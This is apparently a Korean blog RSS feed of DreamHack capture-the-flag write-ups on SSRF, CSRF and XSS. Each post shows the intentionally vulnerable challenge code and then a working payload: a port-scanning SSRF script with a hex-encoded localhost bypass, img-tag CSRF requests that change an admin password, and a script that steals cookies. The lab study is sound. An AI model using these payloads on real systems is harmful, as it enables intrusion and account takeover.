<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>허연승님의 블로그</title>
    <link>https://logmap.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Tue, 20 Oct 2026 20:34:07 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>pororo</managingEditor>
    <image>
      <title>허연승님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8680044/attach/443bd5f4e48a4a32bf577ab3d478e28d</url>
      <link>https://logmap.tistory.com</link>
    </image>
    <item>
      <title>web-ssrf</title>
      <link>https://logmap.tistory.com/31</link>
      <description>&lt;pre id=&quot;code_1792411880098&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()  # Flag is here!!
except:
    FLAG = &quot;[**FLAG**]&quot;


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/img_viewer&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def img_viewer():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;img_viewer.html&quot;)
    elif request.method == &quot;POST&quot;:
        url = request.form.get(&quot;url&quot;, &quot;&quot;)
        urlp = urlparse(url)
        if url[0] == &quot;/&quot;:
            url = &quot;http://localhost:8000&quot; + url
        elif (&quot;localhost&quot; in urlp.netloc) or (&quot;127.0.0.1&quot; in urlp.netloc):
            data = open(&quot;error.png&quot;, &quot;rb&quot;).read()
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
            return render_template(&quot;img_viewer.html&quot;, img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
        except:
            data = open(&quot;error.png&quot;, &quot;rb&quot;).read()
            img = base64.b64encode(data).decode(&quot;utf8&quot;)
        return render_template(&quot;img_viewer.html&quot;, img=img)


local_host = &quot;127.0.0.1&quot;
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host,local_port), http.server.SimpleHTTPRequestHandler
)
    

def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host=&quot;0.0.0.0&quot;, port=8000, threaded=True)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리가 여기서 중점적으로 봐야할 부분은 flag가 app/flag.txt에 있다는것을 알고 있다&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 img_viewer로 라우팅을 하면 안에 넣는 값에 따라 서버에서 그것에 알맞는 img를 출력하는 것을 알수 있다 또한 그 img에&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;data값을 base64인코딩 하여 알려주게 되는데 그러면 플래그 또한 img에 data값을 base64인코딩 해야 나오는 것을 알수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 img를 가져오는 서버 즉 해킹 하는 컴퓨터에서 127.0.0.1즉 로컬 호스트(루프백 주소)인것을 알수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 현재 127.0.0.1이나 localhost가 들어 가도록 요청을 하게 되면 필터링으로 인해서 error.img를 띄우게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 같은 주소 값이라도 port번호에 따라 주소가 다르게 인식 되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;원래라면 1포트부터 옳은 포트까지 계속 해야 하지만 local_port를 보면 1500~1800사이에 랜덤한 포트 번호를 갖게 되는것으로 나와있다. 그리하여 그러면 이걸 이용 하여 requeste문을 짜보도록 하자&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1792412704169&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests 

url = &quot;http://host3.dreamhack.games:20840/img_viewer&quot;
 
for i in range(1500, 1801):
    find = f&quot;http://0x7f000001:{i}/flag.txt&quot;
    response = requests.post(url, data={&quot;url&quot; : find})

    if &quot;REh7&quot; in response.text:
        print(i)
        print(response.text)
        break&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식으로 requests를 짜볼건데 여기에서 보면 우리가 실제로 request를 보낼 주소 url을 지정하고 랜덤하게 지정된 포트번호를 1500~1800까지 반복 하면서 확인을 할것인데 실제 request를 보낸 주소에서 flag.txt가 있는 로컬 호스트를 찾기 위해 find라는 변수를 이용 할것이다. 여기서 http://뒤에 있는 부분은 127.0.0.1을 16진수로 변환 한것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 request보낸것을 response라는 변수에 저장 한다&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그후 response.text 즉 request를 보냈을때 돌려받은 HTML코드를 받게 된다 그러면 아까 우리가 위에서 img에 data값이 base64인코딩 되어 있다고 했다. 그리고 플래그 형식은 DH{} 이므로 그 DH{ 를 인코딩 했을때에 나오는 REh7이 HTML코드내 에서 있어야 한다 그리하여 if문을 이용 하여 REh7이 반환된 HTML에 존재 한다면 그 port번호를 반환 하고 확인한 HTML코드를 출력 하게 된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 이제 나온 HTML코드에 img에 data값을 base64인코딩 된것을 디코딩 해주게 되면 플래그가 나오게 된다.&amp;nbsp;&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>DreamHack</category>
      <category>wed-ssrf</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/31</guid>
      <comments>https://logmap.tistory.com/31#entry31comment</comments>
      <pubDate>Mon, 19 Oct 2026 21:38:56 +0900</pubDate>
    </item>
    <item>
      <title>CSRF</title>
      <link>https://logmap.tistory.com/30</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;오늘은 CSRF에 대해서 알아 보자&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF란 &lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;CSRF는 임의 이용자의 권한으로 임의 주소에 HTTP 요청을 보낼 수 있는 취약점입니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CSRF-1을 풀어보도록 하자&lt;/h4&gt;
&lt;pre id=&quot;code_1790688014186&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;


def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/usr/local/bin/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for arg in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)    


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        if not check_csrf(param):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


memo_text = &quot;&quot;


@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, None)
    if text:
        memo_text += text
    return render_template(&quot;memo.html&quot;, memo=memo_text)


@app.route(&quot;/admin/notice_flag&quot;)
def admin_notice_flag():    
    global memo_text
    if request.remote_addr != &quot;127.0.0.1&quot;:
        return &quot;Access Denied&quot;
    if request.args.get(&quot;userid&quot;, &quot;&quot;) != &quot;admin&quot;:
        return &quot;Access Denied 2&quot;
    memo_text += f&quot;[Notice] flag is {FLAG}\n&quot;
    return &quot;Ok&quot;


app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 xss와 비슷하게 우리가 보낸 내용을 봇이 실행 시켜 주는 부분이 있고 마찬가지로 memo를 이용해서 우리가 넣은 값을 화면에 출력 할수 있게 되어 있다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1790688136248&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 부분을 보면 xss를 필터링 하는 부분이 있다. 여기에서 frame, script, on 이라는 키워드가 들어가면 그부분을 *로 바꿔&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss를 못하게 하는것을 알수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 우리는 어떻게 하는냐 CSRF는 임의에 이용자에 권한으로 HTTP요청을 보내는것이다&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 무슨 말이냐 우리가 그사람에 정보를 탈취하는게 아니라 그사람이 로그인 한거에 그냥 우리가 글을 쓰는것이다.&lt;/p&gt;
&lt;pre id=&quot;code_1790688581665&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/admin/notice_flag&quot;)
def admin_notice_flag():    
    global memo_text
    if request.remote_addr != &quot;127.0.0.1&quot;:
        return &quot;Access Denied&quot;
    if request.args.get(&quot;userid&quot;, &quot;&quot;) != &quot;admin&quot;:
        return &quot;Access Denied 2&quot;
    memo_text += f&quot;[Notice] flag is {FLAG}\n&quot;
    return &quot;Ok&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이부분을 보면 우리가 127.0.0.1자신의 루프백 주소이면서 userid가 admin이면 memo에 flag값을 추가 하게 된다&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1790688375427&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/admin/notice_flag?userid=admin&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 어떻게 하느냐 src어디 주소 값을 갈지에 우리에 쿼리 스트링을 알려주는 방식으로 CSRF를 할수 있다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;CSRF-2풀어보자&amp;nbsp;&lt;/h4&gt;
&lt;pre id=&quot;code_1790688952130&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

CHROMIUM_BIN = os.environ.get(&quot;CHROMIUM_BIN&quot;, &quot;/usr/bin/chromium&quot;)
CHROMEDRIVER_PATH = os.environ.get(&quot;CHROMEDRIVER_PATH&quot;, &quot;/usr/bin/chromedriver&quot;)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;

users = {
    'guest': 'guest',
    'admin': FLAG
}

session_storage = {}

def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    driver = None
    try:
        options = webdriver.ChromeOptions()
        options.binary_location = CHROMIUM_BIN
        for argument in [
            &quot;--headless&quot;,
            &quot;--window-size=1920,1080&quot;,
            &quot;--disable-gpu&quot;,
            &quot;--no-sandbox&quot;,
            &quot;--disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(argument)
        service = Service(executable_path=CHROMEDRIVER_PATH)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        print(str(e))
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_csrf(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not an admin&quot;}')


@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;).lower()
    xss_filter = [&quot;frame&quot;, &quot;script&quot;, &quot;on&quot;]
    for _ in xss_filter:
        param = param.replace(_, &quot;*&quot;)
    return param


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;, &quot;&quot;)
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {&quot;name&quot;:&quot;sessionid&quot;, &quot;value&quot;: session_id}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


@app.route(&quot;/change_password&quot;)
def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 우리가 주의 깊게 봐야할 부분은&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1790689381040&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/change_password&quot;)
def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/change_password를 보면 pw와 session_id를 get으로 받은 다음 username에 session_storage를 확인 한뒤&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;users[username] = pw로 바꾸는걸 알수 있다. 그러면 아까와 마찬가지로 img 태그를 이용 하면 될거라는 것을 알수 있다.&amp;nbsp;&lt;br /&gt;또한 여기서 봇은 무조건 admin에 세션 값을 받도록 세팅 되어 있기 때문에 따로 우리가 admin이라는것을 알려줄 필요가 없다.&lt;/p&gt;
&lt;pre id=&quot;code_1790689962751&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;img src=&quot;/change_password?pw=1234&quot;&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 admin에 pw가 1234로 바뀌게 된다&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 /login으로 가서 admin에 password를 1234로 넣게 되면 flag를 얻을수 있다.&amp;nbsp;&lt;/p&gt;</description>
      <category>웹해킹</category>
      <category>csrf-1</category>
      <category>csrf-2</category>
      <category>DreamHack</category>
      <author>pororo</author>
      <guid isPermaLink="true">https://logmap.tistory.com/30</guid>
      <comments>https://logmap.tistory.com/30#entry30comment</comments>
      <pubDate>Tue, 29 Sep 2026 22:53:49 +0900</pubDate>
    </item>
    <item>
      <title>XSS</title>
      <link>https://logmap.tistory.com/29</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; XSS는 클라이언트 사이드 취약점 중 하나로, 공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행할 수 있다.&lt;/span&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;XSS에 종류&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 61px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style4&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.3953%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt; Stored&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt; XSS&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 78.6047%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 악성&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 스크&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;립트가&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 웹사이트의 데이터베이스(DB)에 영구적으로 저장됩니다&lt;/span&gt;&lt;s&gt;&lt;span style=&quot;color: #000000;&quot;&gt;. &lt;/span&gt;&lt;/s&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.3953%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Reflected XSS&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 78.6047%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;악성 스크립트가 사용자의 요청에 포함되어 서버로 전송되었다가, 응답 화면에 그대로 &quot;반사&quot;되어 실행되는 방식입니다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 10px;&quot;&gt;
&lt;td style=&quot;width: 21.3953%; height: 10px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; DOM-based XSS &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 78.6047%; height: 10px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; 웹사이트의 서버를 거치지 않고, 사용자의 브라우저 안에서 자바스크립트가 실행되는 과정(DOM 환경)에서 발생하는 취&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;약점입니다. &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 21.3953%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;Universal XSS&lt;/span&gt; &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 78.6047%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt; &lt;span style=&quot;text-align: start;&quot;&gt;클라이언트의 브라우저 혹은&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;브라우저의&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt; 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS&lt;/span&gt; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;이제부터 본격적으로 XSS에 관한 문제를 풀어 보도록 하자&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그전에 우리가 알아야할 javascript구문이 있다. document는 자기의 주소 값을 참조 하는 명령어 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 우리가 배운 cookie 값을 Javascript 명령어로 불러 올수 있다 document.cookie를 하게 되면 자기 자신의 쿠키값과 세션 값을 모두 알려 준다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1790684700698&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;


def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    driver = None
    try:
        service = Service(executable_path=&quot;/usr/local/bin/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        options.binary_location = &quot;/usr/bin/google-chrome&quot;
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        return str(e)
        return False
    finally:
        if driver is not None:
            driver.quit()
    return True


def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;)
    return param

    
@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


memo_text = &quot;&quot;


@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, &quot;&quot;)
    memo_text += text + &quot;\n&quot;
    return render_template(&quot;memo.html&quot;, memo=memo_text)


app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이것이 전체 코드 이다. 여기서 우리가 주의 깊게 봐야 할 부분은 /memo부분이다. 여기서 코드를 잘 보면 우리가 요청 한 text 값을 그대로 반환 하는 것을 볼수 있다.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 우리가 주의 깊게 봐야할 코드이다.&lt;/p&gt;
&lt;pre id=&quot;code_1790686510118&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route(&quot;/vuln&quot;)
def vuln():
    param = request.args.get(&quot;param&quot;, &quot;&quot;)
    return param&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보면 받은 값을 그대로 반환 하는것을 볼수 있다. 그리하여 param을 그대로 반환 하기 때문에 script를 이용하여 xss를 해보자&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 /flag부분에서 script를 넣을 수 있는 입력 창이 있는데 여기에 어떻게 써야 하냐&lt;/p&gt;
&lt;pre id=&quot;code_1790686751340&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;script&amp;gt;location.href=&quot;/memo?memo=&quot; + document.cookie&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런식을 하면 값을 얻을수 있게 된다 이게 어떤 역할을 하는지 보자면 &amp;lt;script&amp;gt;형식으로 요청을 보낼 것이고 location.href를 라는 주소로 받은 값을 띄우겠다. 근데 나에 쿠키 값을 포함해서 이기 때문에 document가 자기 주소 값에 있는 쿠키값을 알려 주는것이기 때문에 결국 flag가 있는 admin 부분에 쿠키값도 알려 주게 되어 /memo?memo=라는 내부 주소값에 flag 값을 알려 주게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
